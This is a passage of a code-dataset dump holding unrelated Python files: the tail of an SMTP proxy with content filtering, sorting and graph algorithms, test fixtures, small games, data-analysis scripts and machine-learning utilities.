content\n\t\t\t\t\tclient_mail_body_buf += temp\n\n\t\t\t\t\t# Check for indication that the data part is ending\n\t\t\t\t\tif '\\x0d\\x0a.\\x0d\\x0a' in client_mail_body_buf:\n\t\t\t\t\t\tmsg_len = client_mail_body_buf.index('\\x0d\\x0a.\\x0d\\x0a')+5\n\t\t\t\t\t\tmsg = client_mail_body_buf[:msg_len]\n\t\t\t\t\t\t# Anything left in the buffer goes to the normal client buffer\n\t\t\t\t\t\ttemp = client_mail_body_buf[msg_len:]\n\n\t\t\t\t\t\t# Check mail content\n\t\t\t\t\t\tforbidden = run_dlp_analysis(msg)\n\t\t\t\t\t\tprint('Client\\'s mail content: \\033[91m{0}\\033[00m'.format(msg.rstrip()))\n\t\t\t\t\t\tif(forbidden):\n\t\t\t\t\t\t\tprint('Client\\'s mail contained a forbidden mail content, dropping connection.')\n\t\t\t\t\t\t\tself.client.close()\n\t\t\t\t\t\t\tself.server.close()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tprint('Client\\'s mail content is OK.')\n\t\t\t\t\t\tself.server.send(msg)\n\t\t\t\t\t\tclient_mail_body_buf = ''\n\n\t\t\t\t\t\t# Resetting data aggregation flag\n\t\t\t\t\t\treading_mail_body = False\n\n\t\t\t\t# Not using an else case so I can 'fall' into that case right after finishing user data part\n\t\t\t\tif not reading_mail_body:\n\t\t\t\t\tclient_buf += temp\n\t\t\t\t\tif not '\\x0d\\x0a' in client_buf:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t# Else, we have a complete command\n\t\t\t\t\t# Extract command\n\t\t\t\t\tcommand_len = client_buf.index('\\x0d\\x0a')+2\n\t\t\t\t\tcommand = client_buf[:command_len]\n\n\t\t\t\t\t# Remove command from buffer\n\t\t\t\t\tclient_buf = client_buf[command_len:]\n\n\t\t\t\t\t# Check if the client is starting it's data part\n\t\t\t\t\tif 'data\\x0d\\x0a' in command.lower():\n\t\t\t\t\t\treading_mail_body = True\n\t\t\t\t\t\tprint('reading_mail_body is NOW TRUEEEE : {0}'.format(reading_mail_body))\n\t\t\t\t\t\t# Mark for next iteration\n\n\t\t\t\t\t# any non-interesting command (and also PORT commands continue here)\n\t\t\t\t\tprint('Client -> Server: \\033[91m{0}\\033[00m'.format(temp.replace('\\x0d','\\\\r').replace('\\x0a','\\\\n')))\n\t\t\t\t\tself.server.send(command)\n\t\t\telif self.server in ready[0]:\n\t\t\t\t# Server is ready\n\t\t\t\t# just forward anything we can read back to the client\n\t\t\t\ttemp = self.server.recv(256)\n\t\t\t\tif (temp == b''):\n\t\t\t\t\tprint('Server disconnected!')\n\t\t\t\t\tbreak\n\t\t\t\tprint('Server -> Client: \\033[96m{0}\\033[00m'.format(temp.rstrip()))\n\t\t\t\tself.client.send(temp)\n\t\tself.client.close()\n\t\tself.server.close()\n\ndef run_server(address):\n\tlistener = socket.socket()\n\tlistener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\n\tlistener.bind(address)\n\tlistener.listen(100)\n\tprint('Listening (Address: {0})...'.format(address))\n\twhile(1):\n\t\ttry:\n\t\t\tclient, c_address = listener.accept()\n\t\t\tprint('New client found! Endpoint: {0} '.format(c_address))\n\t\t\tinst = get_awaiting_connection()\n\t\t\twhile inst['client']['ip'] != c_address[0] or inst['client']['port'] != c_address[1] :\n\t\t\t\tinst = get_awaiting_connection()\n\t\texcept Exception as e:\n\t\t\tprint('ERROR IN ACCEPT: {0}'.format(e))\n\t\t\traise\n\t\ttry:\n\t\t\t# Possible errors are connection refuse from server or timeout\n\t\t\thandler = Single_user_handler(client,inst)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tclient.close()\n\t\t\tcontinue\n\t\thandler.start()\n\ndef main(argv):\n\ttry:\n\t\trun_server(('',smtp_manipulation_port))\n\texcept Exception as error:\n\t\tprint('ERROR: {0}'.format(error))\n\t\treturn 1\n\nif __name__ == '__main__':\n\timport sys\n\tsys.exit(main(sys.argv))","sub_path":"smtp.py","file_name":"smtp.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"201735465","text":"\"\"\"This is the entry point of the program.\"\"\"\n\n\ndef bubble_sort(list_of_numbers):\n #Determine how we break out of our while loop.\n #We have to use a while loop, because we don't\n #know how many iterations are needed.\n\tdid_swaps_occur = True\n\twhile did_swaps_occur == True:\n\t #We need to know whether a swap happened, but not break\n\t #out of the test if two numbers don't happen to be swapped.\n\t #We use swap_test as a tracking method for this reason.\n\t\tswap_test = []\n\t\t#Logic here is that run through the range of the length\n\t\t#of the list, but not the last number. We do this because\n\t\t#we evaluate our current index to the value of the next index.\n\t\t#We get out of index range otherwise.\n\t\tfor index in range(len(list_of_numbers) - 1):\n\t\t\tif list_of_numbers[index] > list_of_numbers[index + 1]:\n\t\t\t #Not sure if we could do this without holding the pop\n\t\t\t #value in a variable or not. We pop the current value,\n\t\t\t #then insert after the next value.\n\t\t\t\tholdme = list_of_numbers.pop(index)\n\t\t\t\tlist_of_numbers.insert((index + 1), holdme)\n\t\t\t\t#We mark that a swap did occur to inform our parent logic.\n\t\t\t\tswap_test.append(\"yes\")\n\t\t\telse:\n\t\t\t #We mark that a swap didn't occur here, but that\n\t\t\t #doesn't mean a swap didn't happen elsewhere in\n\t\t\t #the line.\n\t\t\t\tswap_test.append(\"no\")\n\t\t#Let our parent logic know whether a swap happened in the line.\n\t\tif \"yes\" in swap_test:\n\t\t\tdid_swaps_occur = True\n\t\telse:\n\t\t\tdid_swaps_occur = False\n\treturn list_of_numbers\n\n\nif __name__ == '__main__':\n print(bubble_sort([9, 1, 3, 11, 7, 2, 42, 111]))\n","sub_path":"bubble_sort/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"269208955","text":"\"\"\"\n conftest for genotype API\n\"\"\"\n\nimport pytest\nfrom cg.apps.gt import GenotypeAPI\nfrom cg.apps.vogue import VogueAPI\n\n\nGTCONFIG = {\n \"genotype\": {\n \"database\": \"database\",\n \"config_path\": \"/path/to/config/genotype.yaml\",\n \"binary_path\": \"/path/to/genotype_path\",\n }\n}\nVOGUECONFIG = {\"vogue\": {\"binary_path\": \"/path/to/vogue_path\", \"config_path\": \"vogue_config\"}}\n\nGENOTYPE_RETURN_SAMPLE = b'{\"ACC5346A3\": {\"status\":\"pass\"}, \"SIB903A19\": {\"status\":\"pass\"}}'\n\nGENOTYPE_RETURN_SAMPLE_ANALYSIS = b'{\"ACC5346A3\": {\"snp\": {}}, \"SIB903A19\": {\"snp\": {}}}'\n\n\n@pytest.fixture(scope=\"function\")\ndef genotype_return():\n \"\"\"\n genotype config fixture\n \"\"\"\n\n _configs = {\n \"sample\": GENOTYPE_RETURN_SAMPLE,\n \"sample_analysis\": GENOTYPE_RETURN_SAMPLE_ANALYSIS,\n }\n\n return _configs\n\n\nAPPTAGS = [\n {\"tag\": \"RMLP10R825\", \"prep_category\": \"wgs\"},\n {\"tag\": \"METLIFR010\", \"prep_category\": \"wes\"},\n]\n\n\nclass MockApplication:\n \"\"\"Mock Application\"\"\"\n\n def __init__(self, tag, prep_category):\n self.tag = tag\n self.prep_category = prep_category\n\n\nclass MockApplications:\n \"\"\"\n Has function to return list of applications\n \"\"\"\n\n def __init__(self):\n self.apptag_list = APPTAGS\n self.apptags = []\n\n def all(self):\n \"\"\"Returning list of MockApplication instances\"\"\"\n for apptag_dict in self.apptag_list:\n apptag = MockApplication(apptag_dict[\"tag\"], apptag_dict[\"prep_category\"])\n self.apptags.append(apptag)\n return self.apptags\n\n\nclass MockStore:\n \"\"\"\n Mock for Store\n \"\"\"\n\n def __init__(self):\n self.apptags = MockApplications()\n\n def applications(self):\n \"\"\"Returning MockApplications instance\"\"\"\n return self.apptags\n\n\n@pytest.fixture(scope=\"function\")\ndef genotype_api():\n \"\"\"\n genotype API fixture\n \"\"\"\n\n _genotype_api = GenotypeAPI(GTCONFIG)\n return _genotype_api\n\n\n@pytest.fixture(scope=\"function\")\ndef vogue_api():\n \"\"\"\n vogue API fixture\n \"\"\"\n\n _vogue_api = VogueAPI(VOGUECONFIG)\n return _vogue_api\n\n\n@pytest.fixture(scope=\"function\")\ndef store():\n \"\"\"\n returning MockStore instance\n \"\"\"\n\n _store = MockStore()\n return _store\n","sub_path":"tests/meta/upload/vogue/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"518449720","text":"from sys import stdin\nimport sys\nsys.setrecursionlimit(100000)\n\nbridges, low, disc, time, G, parent, edges = [], [], [], 0, [], [], []\n\ndef dfsBridges(u):\n global bridges, low, disc, time, G, parent, edges\n disc[u] = time; time+=1\n low[u] = disc[u]\n\n for v in G[u]:\n if not edges[u][v] and not edges[v][u]:\n print(u+1, v+1)\n edges[u][v], edges[v][u] = True, True\n if disc[v] == -1:\n parent[v] = u\n dfsBridges(v)\n low[u] = min(low[u], low[v])\n if low[v] > disc[u]: print(v+1,u+1)\n elif parent[u] != v: low[u] = min(low[u], disc[v])\n \n \n\n\n\ndef getBridges():\n global bridges, low, disc, time, G, parent, edges\n n = len(G)\n low, disc, time, parent = [-1 for _ in range(n)], [-1 for _ in range(n)], 0, [-1 for _ in range(n)]\n dfsBridges(0)\n\ndef main():\n global bridges, low, disc, time, G, parent, edges\n n, m = list(map(int, stdin.readline().strip().split()))\n case = 1\n while n!= 0 and m != 0:\n G = [[] for _ in range(n)]\n edges = [[False for _ in range(n)] for _ in range(n)]\n for edge in range(m):\n u, v = list(map(int, stdin.readline().strip().split()))\n u-=1;v-=1\n G[u].append(v); G[v].append(u)\n \n print(case); case += 1\n print(\"\")\n getBridges()\n print(\"#\")\n \n\n n, m = list(map(int, stdin.readline().strip().split()))\n\nmain()","sub_path":"610.py","file_name":"610.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"275726604","text":"#!/usr/bin/env python\n__author__ = \"Thomas Kargul\"\n\ndef countSheep():\n\tnumOfInput = int(raw_input()) # 1 <= T <= 100\n\tinputN = [] #list of ints\n\tfor i in range(numOfInput):\n\t\tinp = int(raw_input()) #small: 0 <= n <= 200, large: ..<= 10^6\n\t\tinputN.append(inp)\n\n\tfor it, N in enumerate(inputN):\n\t\tif N == 0:\n\t\t\tprint(\"Case #{}: INSOMNIA\".format(it+1))\n\n\t\telse:\n\t\t\tseen = []\n\t\t\tfor d in str(N):\n\t\t\t\tif d not in seen:\n\t\t\t\t\tseen.append(d)\n\n\t\t\ti = 0\n\t\t\tlast = 0\n\t\t\twhile(len(seen) < 10):\n\t\t\t\tnextN = (i+1) * N\n\t\t\t\tlast = nextN\n\t\t\t\ti += 1\n\t\t\t\tfor d in str(nextN):\n\t\t\t\t\tif d not in seen:\n\t\t\t\t\t\tseen.append(d)\n\n\t\t\tprint(\"Case #{}: {}\".format(it+1, last))\n\nif __name__ == '__main__':\n\tcountSheep()","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_tkargul1_CountingSheep.py","file_name":"16_0_1_tkargul1_CountingSheep.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"138576597","text":"import pandas as pd\nimport pickle\nfrom sklearn.externals import joblib\n\n\ndef get_quantile(data, column):\n column_churn_record = dict()\n column_churn_record['column'] = column\n low = .0\n for high in [.25, .5, .75, 1.]:\n subset = data.loc[(data[column] >= data.quantile(low)[column]) & (data[column] < data.quantile(high)[column])]\n churn_rate = subset['churn'].astype('float').fillna(0).mean()\n print(subset[column].astype('float').fillna(0).mean())\n low = high\n column_churn_record[high] = churn_rate\n return column_churn_record\n\n\nif __name__ == '__main__':\n categorical_columns = [\n 'activity_new',\n 'channel_sales',\n 'contract_status',\n 'return_cust',\n 'is_mod',\n 'has_gas',\n 'campain_channel',\n 'price_seg'\n ]\n numeric_columns = [\n 'cons',\n 'gas_cons',\n 'cons_last_month',\n 'days_to_expire',\n 'month_since_renewal',\n 'contract_length',\n 'tenure',\n 'forecast_price_energy_p1',\n 'forecast_price_energy_p2',\n 'forecast_price_pow_p1',\n 'forecast_bill_montly',\n 'next_month_forecast',\n 'forecast_con_monthly',\n 'fore_cast_discount',\n 'current_paid_cons',\n 'invest',\n 'num_prod',\n 'power_net_margin',\n 'total_net_margin',\n 'num_years_antig',\n 'power_subscribed',\n 'p1_power',\n 'p2_power',\n 'p3_power',\n 'p1_energy',\n 'p2_energy',\n 'p3_energy',\n 'p1_power_variance',\n 'p2_power_variance',\n 'p3_power_variance',\n 'p1_energy_variance',\n 'p2_energy_variance',\n 'p3_energy_variance',\n 'price_p1_energy_increate_half_year',\n 'price_p2_energy_increate_half_year',\n 'price_p3_energy_increate_half_year',\n 'price_p1_power_increate_half_year',\n 'price_p2_power_increate_half_year',\n 'price_p3_power_increate_half_year',\n 'price_p1_energy_increate_last_q',\n 'price_p2_energy_increate_last_q',\n 'price_p3_energy_increate_last_q',\n 'price_p1_power_increate_last_q',\n 'price_p2_power_increate_last_q',\n 'price_p3_power_increate_last_q',\n 'price_p1_energy_increate_dec',\n 'price_p2_energy_increate_dec',\n 'price_p3_energy_increate_dec',\n 'price_p1_power_increate_dec',\n 'price_p2_power_increate_dec',\n 'price_p3_power_increate_dec',\n 'churn'\n ]\n best_xgb = joblib.load('xgboost.pkl')\n importance = pd.DataFrame(\n best_xgb.best_estimator_.get_booster().get_fscore().items(), columns=['feature', 'importance']\n ).sort_values('importance', ascending=False)\n importance = importance[importance['importance'] > 10]\n data = pickle.load(open('sqlres.pkl', 'rb'))\n column_churn_rec_for_dict = list()\n for col in numeric_columns:\n col_rec = get_quantile(data, col)\n try:\n col_rec['importance'] = float(importance[importance['feature'] == col]['importance'])\n except TypeError:\n pass\n column_churn_rec_for_dict.append(col_rec)\n col_df = pd.DataFrame.from_records(\n column_churn_rec_for_dict, index='column'\n ).sort_values('importance', ascending=False)\n categorical_importance = {}\n for col in categorical_columns:\n score = 0\n for (ind, (col_temp, imp)) in importance.iterrows():\n if col in col_temp:\n score += imp\n categorical_importance[col] = score\n","sub_path":"calcQuantile.py","file_name":"calcQuantile.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"120578924","text":"import pygame as pg\n\nfrom galaga.group import MenuGroup\nfrom galaga.sprite.base import FittedTextSprite, Sprite\nfrom galaga.state import StateBase\n\nfrom . import PAD\n\nclass StartScreen(StateBase):\n\n def exit(self):\n self.engine.sprites.empty()\n\n def on_keydown(self, event):\n if event.key == pg.K_DOWN:\n self.menu.next()\n elif event.key == pg.K_UP:\n self.menu.previous()\n elif event.key in (pg.K_SPACE, pg.K_RETURN):\n current = self.menu.current()\n self.engine.flash()\n if current.text.lower() == 'start':\n self.engine.switch(GamePlay())\n elif current.text.lower() == 'exit':\n self.engine.stop()\n elif event.key == pg.K_ESCAPE:\n if self.get_current_text() == 'exit':\n self.engine.flash()\n self.engine.stop()\n else:\n while self.get_current_text() != 'exit':\n self.menu.next()\n\n def get_current_text(self):\n return self.menu.current().text.lower()\n\n def enter(self):\n self.logo = FittedTextSprite('GALAGA', self.engine.screen.rect)\n self.logo.rect.midtop = self.engine.screen.rect.midtop\n self.logo.rect.y += PAD\n\n # main menu rect\n r = self.engine.screen.rect.copy()\n s = .50\n r.width = int(r.width * .25)\n r.height = int(r.height * s)\n r.center = self.engine.screen.rect.center\n\n self.menu = MenuGroup(r, ['START', 'EXIT'])\n #self.engine.sprites.debug_sprite_rects = True\n\n r = self.menu.tall_rect()\n r.midtop = self.logo.rect.midbottom\n r.bottom += PAD\n\n # arrange menu items vertically\n y = r.top\n for sprite in self.menu.menu:\n sprite.rect.midtop = (r.centerx, y)\n y += sprite.rect.height + PAD\n\n self.menu.update_selection()\n\n self.engine.sprites.add(self.logo, self.menu)\n\n self.engine.on(pg.KEYDOWN, self.on_keydown)\n\n\nfrom .gameplay import GamePlay\n","sub_path":"demos/galaga/startscreen.py","file_name":"startscreen.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"321465851","text":"# _*_ coding: utf-8 _*_\n\nimport os\nimport logging\nfrom datetime import datetime\nfrom scrapy.utils.log import configure_logging\nfrom scrapy.utils.project import get_project_settings\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass DetachedLog(object):\n\n def __init__(self, crawler):\n _settuings = get_project_settings()\n\n # log文件名的时间格式\n dt_fmt = _settuings.get(\"LOG_NAME_DATE_FMT\", \"%Y-%m-%d\")\n dtstr = datetime.utcnow().strftime(dt_fmt)\n\n # 存储log的目录\n log_dir = _settuings.get(\"LOG_DIR\", \"./\")\n\n # log_dir 不存在,就递归创建log_dir\n if not os.path.exists(log_dir):\n try:\n os.makedirs(log_dir)\n\n logger.debug(u\"定义的日志目录 {} 不存在,已创建!\".format(log_dir))\n\n except Exception as e:\n logger.exception(u\"自定义的日志目录 {} 不存在且创建失败! 重置为默认!\".format(log_dir))\n logger.exception(e)\n log_dir = \"./\"\n\n # 普通级别的log\n log_file_name = \"{}_{}.log\".format(crawler.spidercls.name, dtstr)\n log_setting = {\n \"LOG_FILE\": os.path.join(log_dir, log_file_name),\n \"LOG_LEVEL\": logging.DEBUG\n }\n configure_logging(log_setting)\n\n # 错误级别的log\n log_file_name = \"{}_error_{}.log\".format(crawler.spidercls.name, dtstr)\n log_setting = {\n \"LOG_FILE\": os.path.join(log_dir, log_file_name),\n \"LOG_LEVEL\": logging.ERROR\n }\n configure_logging(log_setting)\n\n @classmethod\n def from_crawler(cls, crawler):\n return cls(crawler)\n","sub_path":"article_spider/extentions/detached_log.py","file_name":"detached_log.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"442587340","text":"import torch\r\nimport datetime\r\nimport numpy as np\r\nimport os\r\nfrom pathlib import Path\r\n\r\n\r\n# local_dir: Model.model_path\r\ndef get_checkpoint(request, mode=None, nsml_dir='download', local_dir=None):\r\n import json\r\n from . hparams import Ops\r\n\r\n checkpoint = {}\r\n protocol, target, state = parse_protocol(request)\r\n\r\n if protocol == 'local':\r\n assert local_dir is not None\r\n local_dir = Path(local_dir)\r\n if target is not None:\r\n local_dir = local_dir.parent / target\r\n\r\n hparams_path = local_dir / 'hparams.json'\r\n with open(hparams_path, 'r') as f:\r\n checkpoint['hparams'] = Ops(json.load(f))\r\n path = local_dir / 'snapshots' / (state + '_model.pt')\r\n checkpoint['model'] = torch.load(path, map_location=device)['model']\r\n path = local_dir / 'snapshots' / (state + '_opt.pt')\r\n checkpoint['optimizer'] = torch.load(path, map_location=device)['optimizer']\r\n\r\n else:\r\n print('Invalid Protocol')\r\n\r\n if mode is None:\r\n return checkpoint\r\n assert mode in checkpoint\r\n if mode == 'hparams':\r\n if type(checkpoint[mode]) is str:\r\n return Ops(json.loads(checkpoint[mode]))\r\n return checkpoint[mode]\r\n","sub_path":"phonerec/utils/get_checkpoint.py","file_name":"get_checkpoint.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"94878320","text":"# -*- coding: utf-8 -*-\n\n#-------------------------------------- DATA PREPROCESSING ---------------------------------#\n\n# Imports\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport random\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\n# Reading the dataset from data\n# 50_Startups dataset\ndataset = pd.read_csv(r'..\\data\\50_Startups.csv')\nx_labels = ['R&D Spend', 'Administration', 'Marketing Spend']\ny_lables = ['Profit']\nx_labels_categorical = ['State']\n# Squeezed 3D data for Visualization purpose\nx_labels = random.sample(x_labels,2)\ny_lables = ['Profit']\nx_labels_categorical = []\n\n# Creating Dependent and Independent variables\nX = dataset[x_labels]\n\n# Renaming for tensorflow scope\n#X.columns = ['a', 'b','c']\n#For 3D Visulaization\nX.columns = ['a', 'b']\nX = X.values\ny = dataset[y_lables].values\n\n# Splitting the data into training set and test set\nX_train,X_test = np.split(X,indices_or_sections = [int(len(X)*0.8)])\ny_train,y_test = np.split(y,indices_or_sections = [int(len(X)*0.8)])\n\n#------------------------------------ DATA PREPROCESSING ENDS -----------------------------#\n\n#--------------------------------------- TRAINING ---------------------------------------#\n\n# Variables \nepochs = 100\nlearning_rate = 0.001\n\n# Feature Columns\nfeature_columns = [tf.feature_column.numeric_column(key=\"a\"),tf.feature_column.numeric_column(key=\"b\"),tf.feature_column.numeric_column(key=\"c\")]\n#For 3D Visulaization\nfeature_columns = [tf.feature_column.numeric_column(key=\"a\"),tf.feature_column.numeric_column(key=\"b\")]\n\n\n# Creating feature dictionaries\n#features_train = {'a':X_train[:,0],'b':X_train[:,1],'c':X_train[:,2]}\n#features_test = {'a':X_test[:,0], 'b':X_test[:,1], 'c':X_test[:,2]}\n#For 3D Visulaization\nfeatures_train = {'a':X_train[:,0],'b':X_train[:,1]}\nfeatures_test = {'a':X_test[:,0], 'b':X_test[:,1]}\n\n\n# Creating an Input function which would return a batch dataset on every call\ndef input_function(features, labels, batch_size):\n data = tf.data.Dataset.from_tensor_slices((dict(features), labels)) # Convert the inputs to a Dataset.\n return (data.shuffle(10).batch(5).repeat().make_one_shot_iterator().get_next()) #Returning the batch dataset\n\n# Making the lambda function of train dataset\ninput_train = lambda: input_function(features_train, y_train,5)\n\n# Build the Estimator.\nmodel = tf.estimator.LinearRegressor(feature_columns=feature_columns)\n\n# Train the model.\nmodel.train(input_fn = input_train, steps = epochs)\n\n#-------------------------------------- TRAINING ENDS ------------------------------------#\n\n#------------------------------- PREDICTION AND PLOTING -----------------------------------#\n\n# Creating a input function for prediction\npredict_input_fn = tf.estimator.inputs.numpy_input_fn(features_test, shuffle=False)\n\n# Prediction the results\npredict_results = model.predict(input_fn=predict_input_fn) #This yeilds a python generator\n\n# Extracting the y-predicted values into a numpy array\ny_predicted = []\nfor prediction in predict_results:\n y_predicted.append(prediction['predictions'])\ny_pred = np.array(y_predicted)\n\n# Visualizing the results\nplt.scatter(np.arange(0,len(y_pred),1),y_pred,cmap = 'Sequential')\nplt.scatter(np.arange(0,len(y_pred),1),y_test,cmap = 'Sequential')\nplt.gca().xaxis.grid(True)\nplt.xticks(np.arange(0,len(y_pred),1))\nplt.ylabel(y_lables[0])\nplt.xlabel('Samples')\nplt.show()\n\nif len(x_labels)==2:\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n xs = X_test[:,0]\n ys = X_test[:,1]\n ax.scatter(xs, ys, y_test, c='r', marker='o')\n ax.scatter(xs, ys, y_pred, c='b', marker='^')\n ax.set_xlabel(x_labels[0])\n ax.set_ylabel(x_labels[1])\n ax.set_zlabel(y_lables[0])\n plt.show()\n \n \n fig = plt.figure()\n ax = fig.gca(projection='3d')\n \n # Make data.\n X = np.arange(min(xs), max(xs),(max(xs)-min(xs))/100)\n Y = np.arange(min(ys), max(ys),(max(ys)-min(ys))/100)\n X, Y = np.meshgrid(X, Y)\n features_predict = {'a':X.ravel(), 'b':Y.ravel()}\n predict_input_fn = tf.estimator.inputs.numpy_input_fn(features_predict, shuffle=False)\n predict_results = model.predict(input_fn=predict_input_fn)\n y_predicted = []\n for prediction in predict_results:\n y_predicted.append(prediction['predictions'])\n y_pred = np.array(y_predicted).reshape(X.shape)\n Z = y_pred\n \n from matplotlib import cm\n # Plot the surface.\n surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm, linewidth=0, antialiased=False)\n \n # Add a color bar which maps values to colors.\n fig.colorbar(surf, shrink=0.5, aspect=5)\n \n ax.set_xlabel(x_labels[0])\n ax.set_ylabel(x_labels[1])\n ax.set_zlabel(y_lables[0])\n plt.show()\n\n#------------------------------ PREDICTION AND PLOTING ENDS--------------------------------#","sub_path":"src/multiple_linear_regression_tensorflow_estimator.py","file_name":"multiple_linear_regression_tensorflow_estimator.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"581882764","text":"import numpy as np\na=np.array([1,56,2,3,4,5,12,57,98,11,34])\nx=[]\nfor w in a:\n if w>42:\n x.append(True)\n else:\n x.append(False)\nc=a[x]\nprint(c)\n","sub_path":"venv/creating filter array.py","file_name":"creating filter array.py","file_ext":"py","file_size_in_byte":164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"308460028","text":"#-*-coding:utf-8-*-\n\nimport pandas as pd\nimport requests\nimport json\n\nimport config\n\ndef get_shop_data(keyword=\"愛知\"):\n api_key = config.HOT_PEPPER_API_KEY\n res_format = \"json\"\n order = 4\n count = 100\n \n shop_list = []\n start = 1\n while(1):\n url_prefix = \"http://webservice.recruit.co.jp/hotpepper/gourmet/v1/\"\n url = url_prefix+\"?key={0}&format={1}&keyword={2}&order={3}&count={4}&start={5}\".format(api_key, res_format, keyword, order, count, start)\n req = requests.get(url)\n collect_data = json.loads(req.text)\n shop_list += collect_data['results']['shop']\n start += 100\n if collect_data['results']['results_available'] < start:\n break\n output_dict = {'data': shop_list}\n return output_dict\n\n\nif __name__ == '__main__':\n\n output_dict = get_shop_data()\n with open(\"../data/hot_pepper_aichi_shop_data.json\", \"w\") as f:\n json.dump(output_dict, f, indent = 4, ensure_ascii = False)\n","sub_path":"make_dataset/hot_pepper.py","file_name":"hot_pepper.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"172270825","text":"# Python 3.3\n\n# Fix newlines in place\n\nimport argparse\nimport re\n\ndef fix_newlines(text, use_crlf):\n newline = rb\"\\r\\n\" if use_crlf else rb\"\\n\"\n return re.sub(rb\"\\r*\\n\", newline, text)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Fix newlines in place\")\n parser.add_argument(\"--crlf\", dest=\"write_dos\", action=\"store_true\")\n parser.add_argument(\"--lf\", dest=\"write_dos\", action=\"store_false\")\n parser.add_argument(\"files\", metavar=\"FILE\", nargs='+')\n args = parser.parse_args()\n\n for file in args.files:\n with open(file, \"rb\") as f:\n text = f.read()\n\n fixed_text = fix_newlines(text, args.write_dos)\n\n with open(file, \"wb\") as f:\n f.write(fixed_text)\n","sub_path":"buildscripts/vs2008-to-vs2010/fixnl.py","file_name":"fixnl.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"323323032","text":"import pandas as pd\r\nimport numpy as np\r\ndef readGermanCreditDataset(fname):\r\n TrainData = open(fname, 'r')\r\n featureMap = {'A11':1,'A12':2,'A13':3,'A14':4,\r\n 'A30':1,'A31':2,'A32':3,'A33':4,'A34':5,\r\n 'A40':1,'A41':2,'A42':3,'A43':4,'A44':5, 'A45':6,'A46':7,'A47':8,'A48':9,'A49':10, 'A410':0,\r\n 'A61':2,'A62':3,'A63':4,'A64':5,'A65':1,\r\n 'A71':1,'A72':2,'A73':3,'A74':4,'A75':5,\r\n 'A91':1,'A92':4,'A93':2,'A94':3,'A95':4,\r\n 'A101':1,'A102':2,'A103':3,\r\n 'A121':4,'A122':3,'A123':2,'A124':1,\r\n 'A141':1,'A142':2,'A143':3,\r\n 'A151':2,'A152':3,'A153':1,\r\n 'A171':1,'A172':2,'A173':3, 'A174':4,\r\n 'A191':1,'A192':2,\r\n 'A201':1,'A202':2}\r\n inp = []\r\n for line in TrainData:\r\n inputdata = []\r\n numdata = []\r\n for word in line.split():\r\n if word in featureMap:\r\n inputdata.append(featureMap[word])\r\n else:\r\n numdata.append(int(word))\r\n\r\n inp.append(inputdata+numdata)\r\n TrainData.close()\r\n inp = np.array(inp)\r\n return inp\r\nXTrain = readGermanCreditDataset(\"C:\\\\Users\\\\priyagoe\\\\Downloads\\\\Anomaly-Detection-practical-master\\\\Anomaly-Detection-practical-master\\\\Challenges\\\\German Credit Dataset Classification - Challenge 1\\\\german.adcg.trainingd\")\r\nprint('XTrain')\r\nprint(XTrain)\r\nXTest = readGermanCreditDataset(\"C:\\\\Users\\\\priyagoe\\\\Downloads\\\\Anomaly-Detection-practical-master\\\\Anomaly-Detection-practical-master\\\\Challenges\\\\German Credit Dataset Classification - Challenge 1\\\\german.adcg.testingd\")\r\nprint('XTest')\r\nprint(XTest)\r\nYTrain = np.loadtxt(\"C:\\\\Users\\\\priyagoe\\\\Downloads\\\\Anomaly-Detection-practical-master\\\\Anomaly-Detection-practical-master\\\\Challenges\\\\German Credit Dataset Classification - Challenge 1\\\\german.adcg.training.label\", delimiter=\",\", skiprows=1, usecols=(1,))\r\nprint('YTrain')\r\nprint(YTrain)\r\nYTest = np.loadtxt(\"C:\\\\Users\\\\priyagoe\\\\Downloads\\\\Anomaly-Detection-practical-master\\\\Anomaly-Detection-practical-master\\\\Challenges\\\\German Credit Dataset Classification - Challenge 1\\\\german.adcg.testing.label\", delimiter=\",\", skiprows=1, usecols=(1,))\r\nprint('YTest')\r\nprint(YTest)\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nencTrain1 = OneHotEncoder()\r\nencTrain = encTrain1.fit_transform(XTrain[:,:12]).toarray()\r\nprint('encTrain')\r\nprint(encTrain)\r\n\r\nencTest1 = 